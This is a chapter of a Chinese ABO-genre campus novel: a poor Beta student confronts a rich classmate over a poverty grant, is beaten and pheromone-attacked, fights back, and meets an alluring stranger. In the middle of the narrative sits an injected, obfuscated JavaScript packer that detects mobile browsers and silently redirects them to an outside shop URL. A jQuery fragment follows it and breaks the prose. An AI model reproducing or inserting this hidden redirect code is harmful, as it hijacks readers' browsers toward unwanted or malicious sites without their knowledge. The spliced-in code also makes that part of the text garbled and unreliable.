周末,正午已过,喧腾的校园陷入沉寂,行政楼里安静得落针可闻。

    哐当——

    厚重的消防门被猛地推开,发出声巨响,打破了一隅之静。

    阴冷灯光下,投下的数道细长影子朝着同一个方向逼近,似在进行某种围猎活动。

    包围圈不断缩小,浓稠的黑进一步迫近。

    一线光明从缝隙间溜走,照亮了被困其间的半个身影。

    宽松白T加黑色运动裤,腰间系着同色系的外套,脚下是一双已经洗得发白的运动鞋。

    光是这身装扮,就足以让众人猜出她的身份。

    军训结束,别人巴不得立马扔掉的丑衣服,全校也就她不嫌丢人,洗洗晾晾,一年多了仍大摇大摆地穿在身上。

    “识相的话就赶紧把东西交出来。”

    精致的低跟小皮鞋重重踩在地上,哒、哒、哒,自身后传来,一声又一声。

    左右的Alpha纷纷侧目,不约而同让出一条小道。

    噔——

    最后一声落地,慕容絮站定,眼睛死死盯着角落里的人,恨不得从她身上剜下一块肉来。

    一个没背景、没后台的Beta,也敢来威胁她?

    不自量力。

    蒲芷掀开眼皮,举起手机晃了晃,“你是说这个?”

    慕容絮瞳孔一震,伸长手下意识想要抢夺。

    “别着急,先听完再说。”蒲芷轻松躲过,语气淡淡。

    话落,几道熟悉的声音伴随着滋滋的电流声从听筒传出。

    “絮,没想到你还会申请贫困补助……呵,就那几个破钱还不够我吃顿饭,要不是我妈把我卡停了……”

    在场几人神情各异,录音里播放的正是她们不久前的聊天内容。

    蒲芷收起手机,“没记错的话,贫困补助主要面向家庭经济困难的学生,包括孤儿、烈士子女、因灾因病致贫家庭学生……怎么,难不成你家也破产了,急需这笔钱救急?”

    “你咒谁呢?”慕容絮怒目圆瞪,“你以为谁都跟你一样寒酸,区区五千块算得了什么?我妈每年往学校砸的钱……”

    “看不上?那你还申请?你穷疯了?”蒲芷神情不变,依旧是那副波澜不惊的口吻。

    不等慕容絮发作,她身边的拥趸就已率先站了出来。

    各个宛如她最忠诚的士兵,铆足了劲为她冲锋陷阵。

    “这跟你有关系吗?多管闲事!”

    “我看你才是穷疯了乱咬人!”

    “这个补助谁都可以申请,你自命清高不去争取,现在看见别人拿了又眼红,呵,你这样的人我见多了。”

    “等等。”慕容絮抬手叫停她们,嘴角缓缓勾起一抹嘲弄的笑,“原来是替别人出头啊,没想到你还挺热心。”

    蒲芷没有否认。

    慕容絮口中的“别人”是她的室友谢遥,同她一样是个Beta,原本家庭还算富足,但最近突遭变故,先是公司破产欠债,紧接着老人去世,母亲病倒。

    然而,就是这般严峻的境况,贫困补助的结果下来,也只评了个二档。

    与一档差了足足两千块钱。

    两千块,富家子弟眨眼的功夫就能挥霍一空,却是她们一两个月的生活费。

    冷静,不能激动。

    蒲芷睫毛轻颤,胸口的起伏随着吐息逐渐趋于平缓,但眼尾还是不可避免地带上了一点薄红。

    打小的毛病,稍一激动就容易鼻酸眼红,泪珠子不受控地往下掉。

    紧急平复好情绪,蒲芷再次开口道:“同学一场,我不想把事情闹大,评审的最终结果还没确定,我希望能公平公正地……”

    “你算什么东西,也敢在我面前摆谱?”不等她说完,慕容絮径直打断她的话,不屑中多了丝讥讽,“你不会真以为这样就能威胁到我了吧?”

    “我知道你爸是校董,权利滔天,但整个学院并不只由他一人说了算。”蒲芷慢悠悠开口,“除他之外,我想其他人应该会很乐意处理这件事。”

    慕容絮表情一僵,脸彻底冷了下来。

    就在这时,有人附在她耳边低声说了些什么,肉眼可见的,慕容絮的心情由阴转晴,然后当着众人的面摘下了抑制环。

    其他人愣了一秒,眼观鼻鼻观心,倏然领悟过来。

    Alpha佩戴的抑制环能有效隔绝各类信息素,一般情况下不会受到影响。

    但Beta可就不一样了。

    尽管闻不到味道,但依旧会被Alpha的信息素所干扰。

    等级越高,作用越强。

    不消片刻,浓烈的信息素便弥漫了整个楼道,抑制环争先恐后发出滴滴滴的报警声。

    众人仿若未闻,数双盛满轻蔑的眼直勾勾钉在她身上,亟待看她的笑话。

    手无缚鸡之力的Beta,根本无力抵抗强大的Alpha。

    果不其然,几息后,缩在墙角的Beta眉头紧皱,开始面露痛色。

    挺直的脊梁一点点弯了下去,尽显狼狈。

    其中一人见状,急不可耐地越过其他人,手重重按在蒲芷肩上,迫使她屈膝下跪。

    掌下的Beta没有一点还手之力,只能负隅顽抗。

    “我还以为你有多厉害呢。”那人阴恻恻地开口,犹觉不够,捏紧拳头就欲往她小腹招呼去。

    然而她还未有所动作,膝盖处就传来一阵剧痛,杀猪般的惨叫声随即响彻楼道。

    那人痛得眼冒金星,恍惚中感觉自己成了块任人揉搓的橡皮。

    再次睁眼,就见自己正以一种极度屈辱的姿势跪在地上。

    双手被人反剪到身后,还有一只脚踩在她肩上。

    受制于人,牵一发而动全身,怒骂刚出口就变成了痛呼。

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17495910|202504||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    蒲芷俯下身,慢悠悠开口:“比你强点。”

    “成事不足败事有余。”慕容絮没忍住翻了个白眼,敛着火气道,“都还愣着干嘛?”

    众人霎时回神,扑向前方的人。

    蒲芷提起地上的人,扔沙包似地扔了出去。

    手机却不小心脱手,一路滑向楼梯。

    所有人的目光登时被吸引过去。

    “手机!”慕容絮压低声音,急不可耐地喊道。

    众人脚步一转,一窝蜂地涌向楼梯口。

    就在这时,空寂的楼道突兀地响起一阵脚步声。

    空气凝固,世界像是被按下了暂停键。

    滴滴滴的警报声越发尖锐。

    耳膜鼓噪,细碎的嗡鸣声中,蒲芷隐约听见慕容絮语带不甘地咒骂了句什么。

    紧接着,笼罩在她头顶的阴影倏忽撤去。

    纷沓的脚步声远去,世界彻底安静下来,只有心脏猛烈撞击着胸腔的声音。

    体内血气翻涌,一股腥甜味涌至喉间。

    紧绷的神经蓦地放松,蒲芷双腿一软,靠着墙滑了下去。

    一群白痴,真以为把录音删了就万事大吉了?

    思忖间,她没留意到那阵清脆的脚步声停顿了几秒。

    回过神,正前方投下一道阴影,将将笼罩住她的身影。

    “还好吗?”

    嗓音低沉悦耳,短短三个字像是从唱片机上滑过。

    蒲芷心口一跳,下意识抬眼看去。

    首先映入眼帘的是一只好看得有些过分的手。

    白嫩纤长,指尖一点红,堪比广告片里的手模。

    哪怕此刻捏着她摔得稀巴烂的手机也依然赏心悦目。

    丝丝缕缕的香气钻入鼻腔,蒲芷大脑发胀,没有第一时间去接,眼睛不受控地上移。

    女人一身黑色休闲西装,衬衫纽扣系到最后一颗,浓重的精英味儿扑面而来,禁欲感拉满。

    但与之相对的是一张艳丽到灼人的脸。

    极具反差。

    在她打量她的同时,女人也在观望她。

    只是目光更加大胆,更加肆无忌惮,完全不知掩饰为何物。

    浅金瞳孔微微颤动,四目相接,像坠入了一场落日黄昏。

    女人笑意加深,身子下压,一点一点,直到彻底将她的身体融入阴影中。

    恍惚中感觉自己真成了只猎物,无处可逃。

    呼吸被攫夺两三秒,蒲芷睫毛轻颤,不甚自然地移开视线,结结巴巴开口:“还、还好,谢谢。”

    伸手想要接过手机,不知有意还是无意,女人往后退了退。

    垂下的发丝从小臂上扫过,又酥又麻。

    蒲芷指尖瑟缩了下,迷茫地望向她。

    女人倏地笑开,摇落千万树春花。

    “哪来的小可怜,怎么被欺负得这么惨?”